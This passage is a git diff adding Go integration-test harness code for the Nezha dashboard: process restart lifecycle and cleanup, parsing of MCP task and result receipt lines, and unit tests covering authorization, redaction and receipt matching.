--- /dev/null +++ b/integration/agentcompat/internal/dashboard/io_stream_state_test.go @@ -0,0 +1,60 @@ +//go:build linux + +package dashboard + +import ( + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +func TestDashboardIOStreamStateEndpointUsesPATAndRedactsStreamIdentity(t *testing.T) { + // Given + dashboard := startDashboard(t, false) + authenticated := dashboard.Clients().MCP + anonymous, err := client.New(client.Config{BaseURL: dashboard.URL()}) + require.NoError(t, err) + + // When + state, err := authenticated.IOStreamState(t.Context()) + + // Then + require.NoError(t, err) + require.Equal(t, 0, state.Count) + require.Zero(t, state.Generation) + + // When + satisfied, err := authenticated.WaitForIOStreamState(t.Context(), client.IOStreamStateExpectation{ExpectedCount: client.ExpectedIOStreamCount(0)}) + + // Then + require.NoError(t, err) + require.Equal(t, state, satisfied) + + absent, err := authenticated.WaitForIOStreamState(t.Context(), client.IOStreamStateExpectation{AbsentStreamID: "absence-only"}) + require.NoError(t, err) + require.Equal(t, state, absent) + + _, err = authenticated.WaitForIOStreamState(t.Context(), client.IOStreamStateExpectation{}) + require.ErrorIs(t, err, client.ErrSemanticFailure) + + // When + _, err = authenticated.WaitForIOStreamState(t.Context(), client.IOStreamStateExpectation{ExpectedCount: client.ExpectedIOStreamCount(-1), AbsentStreamID: "private-stream-id"}) + + // Then + require.ErrorIs(t, err, client.ErrSemanticFailure) + require.NotContains(t, err.Error(), "private-stream-id") + + // When + anonymousState, anonymousErr := anonymous.IOStreamState(t.Context()) + anonymousWait, anonymousWaitErr := anonymous.WaitForIOStreamState(t.Context(), client.IOStreamStateExpectation{ExpectedCount: client.ExpectedIOStreamCount(0)}) + + // Then + require.Error(t, anonymousErr) + require.ErrorIs(t, anonymousErr, client.ErrUnauthorized) + require.Error(t, anonymousWaitErr) + require.ErrorIs(t, anonymousWaitErr, client.ErrUnauthorized) + require.Zero(t, anonymousState) + require.Zero(t, anonymousWait) +} diff --git a/integration/agentcompat/internal/dashboard/lifecycle.go b/integration/agentcompat/internal/dashboard/lifecycle.go new file mode 100644 index 00000000..8e99ee13 --- /dev/null +++ b/integration/agentcompat/internal/dashboard/lifecycle.go @@ -0,0 +1,156 @@ +//go:build linux + +package dashboard + +import ( + "context" + "errors" + "fmt" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +func (dashboard *Dashboard) StopProcess(ctx context.Context) (RuntimeIdentity, error) { + dashboard.lifecycleMu.Lock() + defer dashboard.lifecycleMu.Unlock() + dashboard.stateMu.Lock() + process := dashboard.currentProcess + dashboard.currentProcess = nil + dashboard.supervisor = nil + dashboard.stateMu.Unlock() + if process == nil { + return RuntimeIdentity{}, errors.New("dashboard process is not running") + } + if process.receiptConn != nil { + _ = process.receiptConn.Close() + } + if process.httpTransport != nil { + process.httpTransport.CloseIdleConnections() + } + if process.tlsTransport != nil { + process.tlsTransport.CloseIdleConnections() + } + if err := process.supervisor.Stop(ctx); err != nil { + return process.identity, fmt.Errorf("stop dashboard process: %w", err) + } + process.record = process.supervisor.CleanupRecord() + return process.identity, nil +} + +func (dashboard *Dashboard) StartProcess(ctx context.Context) (RuntimeIdentity, error) { + dashboard.lifecycleMu.Lock() + defer dashboard.lifecycleMu.Unlock() + dashboard.stateMu.Lock() + if dashboard.currentProcess != nil { + dashboard.stateMu.Unlock() + return RuntimeIdentity{}, errors.New("dashboard process is already running") + } + dashboard.generation++ + generation := dashboard.generation + dashboard.stateMu.Unlock() + dashboard.receiptMu.Lock() + dashboard.receiptAccepted = false + dashboard.receiptAcceptedCount = 0 + dashboard.receiptGeneration = 0 + dashboard.receiptMu.Unlock() + process, err := dashboard.startGeneration(ctx, generation) + if err != nil { + return RuntimeIdentity{}, err + } + dashboard.stateMu.Lock() + dashboard.currentProcess = process + dashboard.supervisor = process.supervisor + dashboard.processes = append(dashboard.processes, process) + dashboard.stateMu.Unlock() + return process.identity, nil +} + +func (dashboard *Dashboard) FixtureIdentity() FixtureIdentity { + identity := FixtureIdentity{WorkspaceRoot: dashboard.workspace.Root(), ConfigPath: dashboard.configPath, DatabasePath: dashboard.databasePath, BinaryPath: dashboard.binaryPath} + if dashboard.httpListener != nil { + identity.HTTP = dashboard.httpListener.Identity() + } + if dashboard.receiptListener != nil { + identity.Receipt = dashboard.receiptListener.Identity() + } + if dashboard.httpsListener != nil { + identity.HTTPS = dashboard.httpsListener.Identity() + } + return identity +} + +func (dashboard *Dashboard) RuntimeIdentity() RuntimeIdentity { + dashboard.stateMu.Lock() + defer dashboard.stateMu.Unlock() + if dashboard.currentProcess == nil { + return RuntimeIdentity{} + } + return dashboard.currentProcess.identity +} + +func (dashboard *Dashboard) Restart(ctx context.Context) error { + if _, err := dashboard.StopProcess(ctx); err != nil { + return err + } + _, err := dashboard.StartProcess(ctx) + return err +} + +func (dashboard *Dashboard) cleanupOnCancellation(ctx context.Context) { + select { + case <-ctx.Done(): + dashboard.cleanupOnce.Do(func() { go dashboard.cleanup(context.WithoutCancel(ctx)) }) + case <-dashboard.cleanupDone: + } +} + +func (dashboard *Dashboard) cleanup(ctx context.Context) { + defer close(dashboard.cleanupDone) + var stopError error + cleanupReceipt := dashboard.cleanupProcesses(ctx, &stopError) + if err := dashboard.workspace.Close(); err != nil { + stopError = errors.Join(stopError, fmt.Errorf("close dashboard workspace: %w", err)) + cleanupReceipt = processharness.NewCleanupReceipt(append(cleanupReceipt.Processes, processharness.CleanupRecord{Name: "dashboard-workspace", Error: client.Redact(err.Error())})) + } + dashboard.cleanupMu.Lock() + dashboard.cleanupError = stopError + dashboard.cleanupReceipt = cleanupReceipt + dashboard.cleanupMu.Unlock() +} + +func (dashboard *Dashboard) cleanupProcesses(ctx context.Context, stopError *error) processharness.CleanupReceipt { + cleanupReceipt := processharness.CleanupReceipt{} + dashboard.stateMu.Lock() + processes := append([]*dashboardGeneration(nil), dashboard.processes...) + legacySupervisor := dashboard.supervisor + dashboard.stateMu.Unlock() + if len(processes) == 0 && legacySupervisor != nil { + if err := legacySupervisor.Stop(ctx); err != nil { + *stopError = errors.Join(*stopError, fmt.Errorf("stop dashboard process: %w", err)) + } + return processharness.NewCleanupReceipt([]processharness.CleanupRecord{legacySupervisor.CleanupRecord()}) + } + for _, process := range processes { + if process.receiptConn != nil { + _ = process.receiptConn.Close() + } + if process.httpTransport != nil { + process.httpTransport.CloseIdleConnections() + } + if process.tlsTransport != nil { + process.tlsTransport.CloseIdleConnections() + } + stopContext, cancel := context.WithTimeout(ctx, failedStartCleanupTimeout) + if err := process.supervisor.Stop(stopContext); err != nil { + *stopError = errors.Join(*stopError, fmt.Errorf("stop dashboard process: %w", err)) + } + cancel() + process.record = process.supervisor.CleanupRecord() + if process.record.Forced { + *stopError = errors.Join(*stopError, errors.New("dashboard required forced SIGKILL cleanup")) + } + cleanupReceipt.Processes = append(cleanupReceipt.Processes, process.record) + } + return processharness.NewCleanupReceipt(cleanupReceipt.Processes) +} diff --git a/integration/agentcompat/internal/dashboard/receipt_lifecycle.go b/integration/agentcompat/internal/dashboard/receipt_lifecycle.go new file mode 100644 index 00000000..5cadeef4 --- /dev/null +++ b/integration/agentcompat/internal/dashboard/receipt_lifecycle.go @@ -0,0 +1,94 @@ +//go:build linux + +package dashboard + +import ( + "context" + "errors" + "fmt" +) + +func (dashboard *Dashboard) MCPReceiptCursor() MCPReceiptCursor { + dashboard.eventMu.RLock() + defer dashboard.eventMu.RUnlock() + return MCPReceiptCursor{Sequence: dashboard.mcpReceiptSequence} +} + +func (dashboard *Dashboard) MCPReceiptEventsAfter(cursor MCPReceiptCursor) []MCPReceiptEvent { + dashboard.eventMu.RLock() + defer dashboard.eventMu.RUnlock() + events := make([]MCPReceiptEvent, 0, len(dashboard.mcpReceiptEvents)) + for _, event := range dashboard.mcpReceiptEvents { + if event.Sequence > cursor.Sequence { + events = append(events, event) + } + } + return events +} + +func (dashboard *Dashboard) WaitForMCPReceiptPairs(ctx context.Context, cursor MCPReceiptCursor, expectations []MCPReceiptExpectation) ([]MCPReceiptPair, error) { + if len(expectations) == 0 { + return nil, errors.New("MCP receipt expectations are empty") + } + for { + dashboard.eventMu.RLock() + notify, closed := dashboard.eventNotify, dashboard.eventClosed + events := append([]MCPReceiptEvent(nil), dashboard.mcpReceiptEvents...) + dashboard.eventMu.RUnlock() + pairs, complete, err := matchMCPReceiptPairs(events, cursor, expectations) + if err != nil { + return nil, err + } + if complete { + return pairs, nil + } + if closed { + return nil, ErrReceiptGateClosed + } + select { + case <-notify: + case <-ctx.Done(): + return nil, ctx.Err() + } + } +} + +func matchMCPReceiptPairs(events []MCPReceiptEvent, cursor MCPReceiptCursor, expectations []MCPReceiptExpectation) ([]MCPReceiptPair, bool, error) { + pairs := make([]MCPReceiptPair, len(expectations)) + matched := make(map[uint64]int, len(expectations)) + for _, event := range events { + if event.Sequence <= cursor.Sequence { + continue + } + index, exists := matched[event.TaskID] + if !exists { + if event.Kind != MCPReceiptTask || len(matched) >= len(expectations) { + return nil, false, fmt.Errorf("unexpected MCP receipt event after cursor: %+v", event) + } + index = len(matched) + expectation := expectations[index] + if event.ServerID != expectation.ServerID || event.TaskType != expectation.TaskType { + return nil, false, fmt.Errorf("MCP task receipt mismatch at index %d: %+v", index, event) + } + matched[event.TaskID] = index + pairs[index].Task = event + continue + } + if event.Kind != MCPReceiptResult || pairs[index].Result.TaskID != 0 { + return nil, false, fmt.Errorf("MCP task ID %d was received more than once", event.TaskID) + } + if event.ServerID != pairs[index].Task.ServerID || event.TaskType != pairs[index].Task.TaskType || event.GateGeneration != pairs[index].Task.GateGeneration || event.DashboardGeneration != pairs[index].Task.DashboardGeneration { + return nil, false, fmt.Errorf("MCP result receipt does not match task: task=%+v result=%+v", pairs[index].Task, event) + } + pairs[index].Result = event + } + if len(matched) != len(expectations) { + return nil, false, nil + } + for _, pair := range pairs { + if pair.Result.TaskID == 0 { + return nil, false, nil + } + } + return pairs, true, nil +} diff --git a/integration/agentcompat/internal/dashboard/receipt_lifecycle_test.go b/integration/agentcompat/internal/dashboard/receipt_lifecycle_test.go new file mode 100644 index 00000000..5ee93486 --- /dev/null +++ b/integration/agentcompat/internal/dashboard/receipt_lifecycle_test.go @@ -0,0 +1,63 @@ +//go:build linux && agentcompat + +package dashboard + +import ( + "fmt" + "testing" + + "github.com/nezhahq/nezha/model" + "github.com/stretchr/testify/require" +) + +func TestMCPReceiptLifecycle_ParsesGenerationScopedTaskAndResultAfterCursor(t *testing.T) { + // Given + dashboard := &Dashboard{eventNotify: make(chan struct{}), eventGeneration: 2} + cursor := dashboard.MCPReceiptCursor() + + // When + dashboard.processReceiptLineForGeneration(2, fmt.Sprintf("task 9 7 101 %d\n", model.TaskTypeExec)) + dashboard.processReceiptLineForGeneration(2, fmt.Sprintf("result 9 7 101 %d\n", model.TaskTypeExec)) + pairs, err := dashboard.WaitForMCPReceiptPairs(t.Context(), cursor, []MCPReceiptExpectation{{ServerID: 7, TaskType: model.TaskTypeExec}}) + + // Then + require.NoError(t, err) + require.Len(t, pairs, 1) + require.Equal(t, uint64(101), pairs[0].Task.TaskID) + require.Equal(t, pairs[0].Task.TaskID, pairs[0].Result.TaskID) + require.Equal(t, uint64(2), pairs[0].Task.DashboardGeneration) + require.Equal(t, uint64(9), pairs[0].Task.GateGeneration) +} + +func TestMCPReceiptLifecycle_RejectsDuplicateTaskIDAfterCursor(t *testing.T) { + // Given + events := []MCPReceiptEvent{ + {Sequence: 1, DashboardGeneration: 2, GateGeneration: 9, ServerID: 7, TaskID: 101, TaskType: model.TaskTypeExec, Kind: MCPReceiptTask}, + {Sequence: 2, DashboardGeneration: 2, GateGeneration: 9, ServerID: 7, TaskID: 102, TaskType: model.TaskTypeFsRead, Kind: MCPReceiptTask}, + {Sequence: 3, DashboardGeneration: 2, GateGeneration: 9, ServerID: 7, TaskID: 101, TaskType: model.TaskTypeExec, Kind: MCPReceiptResult}, + {Sequence: 4, DashboardGeneration: 2, GateGeneration: 9, ServerID: 7, TaskID: 101, TaskType: model.TaskTypeExec, Kind: MCPReceiptResult}, + } + + // When + _, _, err := matchMCPReceiptPairs(events, MCPReceiptCursor{}, []MCPReceiptExpectation{{ServerID: 7, TaskType: model.TaskTypeExec}, {ServerID: 7, TaskType: model.TaskTypeFsRead}}) + + // Then + require.Error(t, err) +} + +func TestMCPReceiptLifecycle_DiscardsStaleDashboardGeneration(t *testing.T) { + // Given + dashboard := &Dashboard{eventNotify: make(chan struct{}), eventGeneration: 2} + + // When + dashboard.processReceiptLineForGeneration(1, fmt.Sprintf("task 8 7 101 %d\n", model.TaskTypeExec)) + + // Then + require.Empty(t, dashboard.MCPReceiptEventsAfter(MCPReceiptCursor{})) +} + +func TestMCPReceiptLifecycle_DoesNotAppendOldGenerationAfterReplacement(t *testing.T) { + dashboard := &Dashboard{eventNotify: make(chan struct{}), eventGeneration: 2} + dashboard.processReceiptLineForGeneration(1, fmt.Sprintf("task 8 7 101 %d\n", model.TaskTypeExec)) + require.Empty(t, dashboard.MCPReceiptEventsAfter(MCPReceiptCursor{})) +} diff --git a/integration/agentcompat/internal/dashboard/receipt_runtime.go b/integration/agentcompat/internal/dashboard/receipt_runtime.go new file mode 100644 index 00000000..e6800653 --- /dev/null +++ b/integration/agentcompat/internal/dashboard/receipt_runtime.go @@ -0,0 +1,100 @@ +//go:build linux + +package dashboard + +import ( + "bufio" + "fmt" + "strings" +) + +func (dashboard *Dashboard) readReceiptEvents(generation uint64, reader *bufio.Reader) { + for { + line, err := reader.ReadString('\n') + if err != nil { + dashboard.eventMu.Lock() + dashboard.stateMu.Lock() + active := dashboard.eventGeneration == generation + dashboard.stateMu.Unlock() + if !active { + dashboard.eventMu.Unlock() + return + } + dashboard.eventClosed = true + close(dashboard.eventNotify) + dashboard.eventMu.Unlock() + return + } + dashboard.processReceiptLineForGeneration(generation, line) + dashboard.eventMu.Lock() + dashboard.stateMu.Lock() + active := dashboard.eventGeneration == generation + dashboard.stateMu.Unlock() + if !active { + dashboard.eventMu.Unlock() + return + } + close(dashboard.eventNotify) + dashboard.eventNotify = make(chan struct{}) + dashboard.eventMu.Unlock() + } +} + +func (dashboard *Dashboard) processReceiptLine(line string) { + dashboard.processReceiptLineForGeneration(0, line) +} + +func (dashboard *Dashboard) processReceiptLineForGeneration(generation uint64, line string) { + if strings.HasPrefix(line, "info2 ") { + fields := strings.Fields(line) + if len(fields) == 4 { + line = fmt.Sprintf("info2 %s %s\n", fields[2], fields[3]) + } + dashboard.info2Mu.Lock() + dashboard.info2Events[line] = struct{}{} + dashboard.info2Mu.Unlock() + } + if strings.HasPrefix(line, "accepted ") { + var serverID, receiptGeneration, stateGeneration, count uint64 + var uuid string + if _, parseErr := fmt.Sscanf(line, "accepted %d %s %d %d %d", &serverID, &uuid, &receiptGeneration, &stateGeneration, &count); parseErr == nil { + dashboard.receiptMu.Lock() + dashboard.receiptAccepted = true + dashboard.receiptAcceptedCount = count + dashboard.receiptGeneration = receiptGeneration + dashboard.receiptMu.Unlock() + dashboard.stateMu.Lock() + dashboard.stateEvents[stateEventIdentity{ServerID: serverID, UUID: uuid, Generation: stateGeneration, Count: count}] = struct{}{} + dashboard.stateMu.Unlock() + } + } + if strings.HasPrefix(line, "state ") { + var serverID, generation, count uint64 + var uuid string + if _, parseErr := fmt.Sscanf(line, "state %d %s %d %d", &serverID, &uuid, &generation, &count); parseErr == nil { + dashboard.stateMu.Lock() + dashboard.stateEvents[stateEventIdentity{ServerID: serverID, UUID: uuid, Generation: generation, Count: count}] = struct{}{} + dashboard.stateMu.Unlock() + } + } + if strings.HasPrefix(line, "task ") || strings.HasPrefix(line, "result ") { + var kind string + var gateGeneration, serverID, taskID, taskType uint64 + if _, parseErr := fmt.Sscanf(line, "%s %d %d %d %d", &kind, &gateGeneration, &serverID, &taskID, &taskType); parseErr == nil { + dashboard.eventMu.Lock() + dashboard.stateMu.Lock() + if generation != 0 && dashboard.eventGeneration != generation { + dashboard.stateMu.Unlock() + dashboard.eventMu.Unlock() + return + } + dashboard.mcpReceiptSequence++ + dashboard.mcpReceiptEvents = append(dashboard.mcpReceiptEvents, MCPReceiptEvent{ + Sequence: dashboard.mcpReceiptSequence, DashboardGeneration: generation, GateGeneration: gateGeneration, + ServerID: serverID, TaskID: taskID, TaskType: taskType, Kind: MCPReceiptKind(kind), + }) + dashboard.stateMu.Unlock() + dashboard.eventMu.Unlock() + } + } +} diff --git a/integration/agentcompat/internal/dashboard/receipt_set.go b/integration/agentcompat/internal/dashboard/receipt_set.go new file mode 100644 index 00000000..f3a8f1b0 --- /dev/null +++ b/integration/agentcompat/internal/dashboard/receipt_set.go @@ -0,0 +1,114 @@ +//go:build linux + +package dashboard + +import ( + "context" + "errors" + "fmt" +) + +func (dashboard *Dashboard) WaitForMCPReceiptSet(ctx context.Context, cursor MCPReceiptCursor, expectations []MCPReceiptExpectation) ([]MCPReceiptPair, error) { + if err := validateMCPReceiptExpectations(expectations); err != nil { + return nil, err + } + for { + dashboard.eventMu.RLock() + notify, closed := dashboard.eventNotify, dashboard.eventClosed + events := append([]MCPReceiptEvent(nil), dashboard.mcpReceiptEvents...) + dashboard.eventMu.RUnlock() + pairs, complete, err := matchMCPReceiptSet(events, cursor, expectations) + if err != nil { + return nil, err + } + if complete { + return pairs, nil + } + if closed { + return nil, ErrReceiptGateClosed + } + select { + case <-notify: + case <-ctx.Done(): + return nil, ctx.Err() + } + } +} + +type mcpReceiptIdentity struct { + dashboardGeneration uint64 + gateGeneration uint64 + serverID uint64 + taskID uint64 + taskType uint64 +} + +func validateMCPReceiptExpectations(expectations []MCPReceiptExpectation) error { + if len(expectations) == 0 { + return errors.New("MCP receipt expectations are empty") + } + seen := make(map[mcpReceiptIdentity]struct{}, len(expectations)) + for _, expectation := range expectations { + identity := mcpReceiptIdentity{dashboardGeneration: expectation.DashboardGeneration, gateGeneration: expectation.GateGeneration, serverID: expectation.ServerID, taskID: expectation.TaskID, taskType: expectation.TaskType} + // Stress evidence requires exact generation-aware identity; zero is never a wildcard. + if expectation.DashboardGeneration == 0 || expectation.GateGeneration == 0 || expectation.ServerID == 0 || expectation.TaskID == 0 || expectation.TaskType == 0 { + return fmt.Errorf("invalid MCP receipt expectation: %+v", expectation) + } + if _, duplicate := seen[identity]; duplicate { + return fmt.Errorf("duplicate MCP receipt expectation for server %d task type %d", expectation.ServerID, expectation.TaskType) + } + seen[identity] = struct{}{} + } + return nil +} + +func matchMCPReceiptSet(events []MCPReceiptEvent, cursor MCPReceiptCursor, expectations []MCPReceiptExpectation) ([]MCPReceiptPair, bool, error) { + if err := validateMCPReceiptExpectations(expectations); err != nil { + return nil, false, err + } + indices := make(map[mcpReceiptIdentity]int, len(expectations)) + for index, expectation := range expectations { + indices[mcpReceiptIdentity{dashboardGeneration: expectation.DashboardGeneration, gateGeneration: expectation.GateGeneration, serverID: expectation.ServerID, taskID: expectation.TaskID, taskType: expectation.TaskType}] = index + } + pairs := make([]MCPReceiptPair, len(expectations)) + taskIndices := make(map[uint64]int, len(expectations)) + for _, event := range events { + if event.Sequence <= cursor.Sequence { + continue + } + identity := mcpReceiptIdentity{dashboardGeneration: event.DashboardGeneration, gateGeneration: event.GateGeneration, serverID: event.ServerID, taskID: event.TaskID, taskType: event.TaskType} + index, expected := indices[identity] + if !expected { + return nil, false, fmt.Errorf("unexpected MCP receipt event after cursor: %+v", event) + } + switch event.Kind { + case MCPReceiptTask: + if _, duplicate := taskIndices[event.TaskID]; duplicate || pairs[index].Task.TaskID != 0 { + return nil, false, fmt.Errorf("duplicate MCP task receipt for server %d task type %d: %+v", event.ServerID, event.TaskType, event) + } + taskIndices[event.TaskID] = index + pairs[index].Task = event + case MCPReceiptResult: + taskIndex, exists := taskIndices[event.TaskID] + if !exists { + return nil, false, fmt.Errorf("MCP result receipt has no matching task: %+v", event) + } + if taskIndex != index || pairs[index].Result.TaskID != 0 { + return nil, false, fmt.Errorf("duplicate or mismatched MCP result receipt: %+v", event) + } + task := pairs[index].Task + if event.ServerID != task.ServerID || event.TaskType != task.TaskType || event.GateGeneration != task.GateGeneration || event.DashboardGeneration != task.DashboardGeneration || event.TaskID != task.TaskID { + return nil, false, fmt.Errorf("MCP result receipt does not match task: task=%+v result=%+v", task, event) + } + pairs[index].Result = event + default: + return nil, false, fmt.Errorf("unexpected MCP receipt kind %q: %+v", event.Kind, event) + } + } + for _, pair := range pairs { + if pair.Task.TaskID == 0 || pair.Result.TaskID == 0 { + return nil, false, nil + } + } + return pairs, true, nil +} diff --git a/integration/agentcompat/internal/dashboard/receipt_set_test.go b/integration/agentcompat/internal/dashboard/receipt_set_test.go new file mode 100644 index 00000000..c7ba94f9 --- /dev/null +++ b/integration/agentcompat/internal/dashboard/receipt_set_test.go @@ -0,0 +1,177 @@ +//go:build linux && agentcompat + +package dashboard + +import ( + "context" + "testing" + "time" + + "github.com/nezhahq/nezha/model" + "github.com/stretchr/testify/require" +) + +func TestMCPReceiptSet_MatchesUnorderedExactServerTaskIdentities(t *testing.T) { + expectations := []MCPReceiptExpectation{ + {DashboardGeneration: 2, GateGeneration: 9, ServerID: 7, TaskID: 101, TaskType: model.TaskTypeExec}, + {DashboardGeneration: 2, GateGeneration: 9, ServerID: 8, TaskID: 102, TaskType: model.TaskTypeFsRead}, + } + events := []MCPReceiptEvent{ + mcpReceiptEvent(1, 2, 9, 8, 102, model.TaskTypeFsRead, MCPReceiptTask), + mcpReceiptEvent(2, 2, 9, 8, 102, model.TaskTypeFsRead, MCPReceiptResult), + mcpReceiptEvent(3, 2, 9, 7, 101, model.TaskTypeExec, MCPReceiptTask), + mcpReceiptEvent(4, 2, 9, 7, 101, model.TaskTypeExec, MCPReceiptResult), + } + + pairs, complete, err := matchMCPReceiptSet(events, MCPReceiptCursor{}, expectations) + + require.NoError(t, err) + require.True(t, complete) + require.Equal(t, uint64(7), pairs[0].Task.ServerID) + require.Equal(t, uint64(101), pairs[0].Result.TaskID) + require.Equal(t, uint64(8), pairs[1].Task.ServerID) + require.Equal(t, uint64(102), pairs[1].Result.TaskID) +} + +func TestMCPReceiptSet_RejectsMissingDuplicateAndMismatchedReceipts(t *testing.T) { + expectation := []MCPReceiptExpectation{{DashboardGeneration: 2, GateGeneration: 9, ServerID: 7, TaskID: 101, TaskType: model.TaskTypeExec}} + task := mcpReceiptEvent(1, 2, 9, 7, 101, model.TaskTypeExec, MCPReceiptTask) + + tests := map[string][]MCPReceiptEvent{ + "missing result": {task}, + "duplicate task identity": {task, mcpReceiptEvent(2, 2, 9, 7, 102, model.TaskTypeExec, MCPReceiptTask)}, + "duplicate task ID": {task, mcpReceiptEvent(2, 2, 9, 7, 101, model.TaskTypeExec, MCPReceiptTask)}, + "mismatched server": {mcpReceiptEvent(1, 2, 9, 8, 101, model.TaskTypeExec, MCPReceiptTask)}, + "result gate generation mismatch": {task, mcpReceiptEvent(2, 2, 10, 7, 101, model.TaskTypeExec, MCPReceiptResult)}, + "result dashboard generation mismatch": {task, mcpReceiptEvent(2, 3, 9, 7, 101, model.TaskTypeExec, MCPReceiptResult)}, + } + for name, events := range tests { + t.Run(name, func(t *testing.T) { + _, complete, err := matchMCPReceiptSet(events, MCPReceiptCursor{}, expectation) + if name == "missing result" { + require.NoError(t, err) + require.False(t, complete) + return + } + require.Error(t, err) + require.False(t, complete) + }) + } +} + +func TestMCPReceiptSet_WaitsForEventAndPreservesCursorGeneration(t *testing.T) { + dashboard := newWaiterDashboard() + dashboard.eventGeneration = 2 + dashboard.mcpReceiptEvents = []MCPReceiptEvent{ + mcpReceiptEvent(1, 1, 8, 7, 100, model.TaskTypeExec, MCPReceiptTask), + mcpReceiptEvent(2, 1, 8, 7, 100, model.TaskTypeExec, MCPReceiptResult), + } + dashboard.mcpReceiptSequence = 2 + cursor := dashboard.MCPReceiptCursor() + result := make(chan struct { + pairs []MCPReceiptPair + err error + }, 1) + ctx, cancel := context.WithTimeout(t.Context(), time.Second) + defer cancel() + go func() { + pairs, err := dashboard.WaitForMCPReceiptSet(ctx, cursor, []MCPReceiptExpectation{{DashboardGeneration: 2, GateGeneration: 9, ServerID: 7, TaskID: 101, TaskType: model.TaskTypeExec}}) + result <- struct { + pairs []MCPReceiptPair + err error + }{pairs: pairs, err: err} + }() + + dashboard.eventMu.Lock() + dashboard.mcpReceiptEvents = append(dashboard.mcpReceiptEvents, + mcpReceiptEvent(3, 2, 9, 7, 101, model.TaskTypeExec, MCPReceiptTask), + mcpReceiptEvent(4, 2, 9, 7, 101, model.TaskTypeExec, MCPReceiptResult), + ) + dashboard.mcpReceiptSequence = 4 + close(dashboard.eventNotify) + dashboard.eventNotify = make(chan struct{}) + dashboard.eventMu.Unlock() + + received := <-result + require.NoError(t, received.err) + require.Len(t, received.pairs, 1) + require.Equal(t, uint64(101), received.pairs[0].Task.TaskID) + require.Equal(t, uint64(2), received.pairs[0].Task.DashboardGeneration) + require.Equal(t, uint64(9), received.pairs[0].Task.GateGeneration) +} + +func TestMCPReceiptSet_RespectsCancellationAndDeadline(t *testing.T) { + dashboard := newWaiterDashboard() + expectations := []MCPReceiptExpectation{{DashboardGeneration: 2, GateGeneration: 9, ServerID: 7, TaskID: 101, TaskType: model.TaskTypeExec}} + + cancelled, cancel := context.WithCancel(t.Context()) + cancel() + _, err := dashboard.WaitForMCPReceiptSet(cancelled, MCPReceiptCursor{}, expectations) + require.ErrorIs(t, err, context.Canceled) + + expired, expire := context.WithDeadline(t.Context(), time.Now()) + defer expire() + _, err = dashboard.WaitForMCPReceiptSet(expired, MCPReceiptCursor{}, expectations) + require.ErrorIs(t, err, context.DeadlineExceeded) +} + +func TestMCPReceiptSet_RejectsDuplicateExpectations(t *testing.T) { + _, err := (&Dashboard{}).WaitForMCPReceiptSet(t.Context(), MCPReceiptCursor{}, []MCPReceiptExpectation{ + {DashboardGeneration: 2, GateGeneration: 9, ServerID: 7, TaskID: 101, TaskType: model.TaskTypeExec}, + {DashboardGeneration: 2, GateGeneration: 9, ServerID: 7, TaskID: 101, TaskType: model.TaskTypeExec}, + }) + require.Error(t, err) +} + +func TestMCPReceiptSet_RejectsWrongExpectedGenerationAndTaskID(t *testing.T) { + // Given + events := []MCPReceiptEvent{ + mcpReceiptEvent(1, 2, 9, 7, 101, model.TaskTypeExec, MCPReceiptTask), + mcpReceiptEvent(2, 2, 9, 7, 101, model.TaskTypeExec, MCPReceiptResult), + } + expectation := MCPReceiptExpectation{DashboardGeneration: 3, GateGeneration: 9, ServerID: 7, TaskID: 101, TaskType: model.TaskTypeExec} + + // When + _, _, err := matchMCPReceiptSet(events, MCPReceiptCursor{}, []MCPReceiptExpectation{expectation}) + + // Then + require.Error(t, err) +} + +func TestMCPReceiptSet_RejectsZeroGateGenerationExpectation(t *testing.T) { + // Given + dashboard := newWaiterDashboard() + dashboard.eventGeneration = 2 + dashboard.mcpReceiptEvents = []MCPReceiptEvent{ + mcpReceiptEvent(1, 2, 9, 7, 101, model.TaskTypeExec, MCPReceiptTask), + mcpReceiptEvent(2, 2, 9, 7, 101, model.TaskTypeExec, MCPReceiptResult), + } + expectation := []MCPReceiptExpectation{{DashboardGeneration: 2, GateGeneration: 0, ServerID: 7, TaskID: 101, TaskType: model.TaskTypeExec}} + + // When + _, err := dashboard.WaitForMCPReceiptSet(t.Context(), MCPReceiptCursor{}, expectation) + + // Then + require.Error(t, err) +} + +func TestMCPReceiptSet_RejectsZeroTaskIDExpectation(t *testing.T) { + // Given + dashboard := newWaiterDashboard() + dashboard.eventGeneration = 2 + dashboard.mcpReceiptEvents = []MCPReceiptEvent{ + mcpReceiptEvent(1, 2, 9, 7, 101, model.TaskTypeExec, MCPReceiptTask), + mcpReceiptEvent(2, 2, 9, 7, 101, model.TaskTypeExec, MCPReceiptResult), + } + expectation := []MCPReceiptExpectation{{DashboardGeneration: 2, GateGeneration: 9, ServerID: 7, TaskID: 0, TaskType: model.TaskTypeExec}} + + // When + _, err := dashboard.WaitForMCPReceiptSet(t.Context(), MCPReceiptCursor{}, expectation) + + // Then + require.Error(t, err) +} + +func mcpReceiptEvent(sequence, dashboardGeneration, gateGeneration, serverID, taskID, taskType uint64, kind MCPReceiptKind) MCPReceiptEvent { + return MCPReceiptEvent{Sequence: sequence, DashboardGeneration: dashboardGeneration, GateGeneration: gateGeneration, ServerID: serverID, TaskID: taskID, TaskType: taskType, Kind: kind} +} diff --git a/integration/agentcompat/internal/dashboard/restart_runtime_test.go b/integration/agentcompat/internal/dashboard/restart_runtime_test.go new file mode 100644 index 00000000..f798e7bc --- /dev/null +++ b/integration/agentcompat/internal/dashboard/restart_runtime_test.go @@ -0,0 +1,55 @@ +//go:build linux + +package dashboard + +import ( + "context" + "path/filepath" + "strconv" + "testing" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/testpaths" + "github.com/stretchr/testify/require" +) + +func TestDashboardRestart_PreservesFixtureIdentityAndCleansGenerations(t *testing.T) { + // Given + sourceDir, err := testpaths.NezhaSource(t.Name()) + require.NoError(t, err) + dashboard, err := Start(t.Context(), StartConfig{SourceDir: sourceDir, EnableTLS: true, ReceiptGate: true}) + require.NoError(t, err) + t.Cleanup(func() { + cleanupContext, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + require.NoError(t, dashboard.Close(cleanupContext)) + }) + fixture := dashboard.FixtureIdentity() + firstRuntime := dashboard.RuntimeIdentity() + require.NotZero(t, fixture.HTTP.Inode) + require.NotZero(t, fixture.HTTPS.Inode) + + // When + stopContext, cancel := context.WithTimeout(t.Context(), 15*time.Second) + defer cancel() + _, err = dashboard.StopProcess(stopContext) + require.NoError(t, err) + firstPID := 